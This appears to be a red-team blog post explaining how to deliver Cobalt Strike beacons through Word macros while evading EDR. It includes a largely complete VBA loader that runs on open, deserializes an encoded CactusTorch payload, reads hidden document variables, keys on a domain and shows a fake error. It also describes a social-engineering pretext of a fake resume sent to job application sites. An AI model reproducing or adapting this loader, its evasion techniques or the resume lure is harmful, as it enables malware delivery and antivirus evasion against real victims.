Now that Microsoft is blocking macros for internet and externally sourced documents, I feel its safer to talk about some of the EDR evading Word macro techniques I have used in the past. Particularly for delivering Cobalt Strike beacons.
Cactus Torch is a great tool as a starting point. It takes some basic concepts such as a encoding the CS payload in memory, starting a process and injecting the payload into memory. Unfortunately, Cactus Torch is heavily signatured, but with a bit of modification, you can easily bypass most EDR solutions, including Windows Defender. Cactus Torch gets flagged because of a few function calls and variable names, but if you change those, you’ll find EDR no longer detects it. That’s the first step towards EDR evasion.
However, it will all be for naught if your CS payload is detected. So we’ll need to do more.
The second technique to evade EDR is rot9 encoding the variables for the payload and having them decode at runtime. This technique I got from talks delivered at DerbyCon by Walmart’s Red Team by Carrie Roberts. This technnique is simple enough, easy to implement in macros, and you can write up a quick encoder for your raw CS payload in Powershell or your favorite scripting language. Even better if you can get it to be broken up into chunks for variable assignment.
You can also hide your payload in Document variables, where it will be saved as part of the document, not the script. The Document variables are meant to be static/immutable once assigned, so you’ll need to assign them, save the document, then delete the variable assignments from the macro code, else it will throw an error. But the payload will be saved and you can deliver it to your victim. If you do this, you likely won’t have to do rot9 encoding since EDR only examines the macro, but if you’ve already gone through the effort, no harm in leaving it in, its just a bit of extra CPU time on execution.
' ' decrypt_resume Macro ' ' Public code As String Public key As String Sub Init() # Set ActiveDocument Variables with the payload and run once, then remove End Sub Private Function unhify(h) On Error Resume Next Dim DM, EL Set DM = CreateObject("Microsoft.XMLDOM") Set EL = DM.createElement("tmp") EL.DataType = "bin.hex" EL.Text = h unhify = EL.NodeTypedValue End Function Private Function Oct(Thur) Oct = Chr(Thur - 19) End Function Private Function May(Wed) May = Left(Wed, 3) End Function Private Function Sept(Mon) Sept = Right(Mon, Len(Mon) - 3) End Function Private Function Nov(Sat) Do Yesterday = Yesterday + Oct(May(Sat)) Sat = Sept(Sat) Loop While Len(Sat) > 0 Nov = Yesterday End Function Function decryptResume() # so is really CactusTorch TestClass.cs modified to remove key signatures # and compiled and converted using DotNet2JScript, then Rot 9 encoded. Dim so so = "0670670670680670670670670670670890890890890890890890890670680670670670670670670670670670670670670670" so = so & "6706707106706806706706706706706706906907207007407607407007407107307207308706908807107107307207308607" so = so & "3072073074073068074071073072072070073072074069073076073068073086073076074084073068074071073076073089" # Most of the lines removed for brevity ec = "resume" Dim stm As Object, fmt As Object, al As Object Set stm = CreateObject("System.IO.MemoryStream") Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") Set al = CreateObject("System.Collections.ArrayList") Dim dec dec = unhify(Nov(so)) For Each i In dec stm.WriteByte i Next i stm.Position = 0 Dim n As Object, d As Object, o As Object Set n = fmt.SurrogateSelector Set d = fmt.Deserialize_2(stm) al.Add n code1 = ActiveDocument.Variables("code1").Value code2 = ActiveDocument.Variables("code2").Value code3 = ActiveDocument.Variables("code3").Value code4 = ActiveDocument.Variables("code4").Value code5 = ActiveDocument.Variables("code5").Value recode = code1 + code2 + code3 + code4 + code5 Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(ec) o.Decrypt recode End Function Sub checkCompatibility() partOfDomain = False wfDomain = False Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48) For Each ObjComputer In colItems If ObjComputer.partOfDomain Then partOfDomain = True End If If ObjComputer.Domain = "COMPANY-DOMAIN" Then Domain = True key = ObjComputer.Domain End If Next Domain = True partOfDomain = True key = "COMPANY-DOMAIN" If partOfDomain And wfDomain Then Init decryptResume End If End Sub Public Function printLine(line) ActiveDocument.Range.Text = ActiveDocument.Range.Text & line End Function Sub printResume() ActiveDocument.Range.Text = "" printLine "????????§" printLine "?????????¶¶¶¶¶¶§«¯®«ª±????§" printLine "????`ïëèØ×¸»»º¨¤¡~???????????" printLine "Macro error occurred. Could not display document. Document exported by Resume Creator 2001, see help section for Resume Creator 2001 or contact support." End Sub Sub AutoOpen() checkCompatibility ' printResume End Sub Sub Auto_Open() AutoOpen End Sub
The premise for this code would be a partially obscured “Resume” that requires the user to activate for “security reasons” because of the personal information contained inside, etc.
The code above removes the content and generates an error.
The document must be saved in the older .doc Word format, since the newer docx format necessarily excludes macros, and docm is usually filtered out or not allowed to be submitted to job application sites.
Ryan Linn coded up a solution to simplify this called BetterTorch which he presented on at DerbyCon. This automates a lot of this effort and utilizes a lot of the techniques above.
Another newer technique I’m seeing utilized is VSTO which bypasses macros entirely and uses a Word plugin.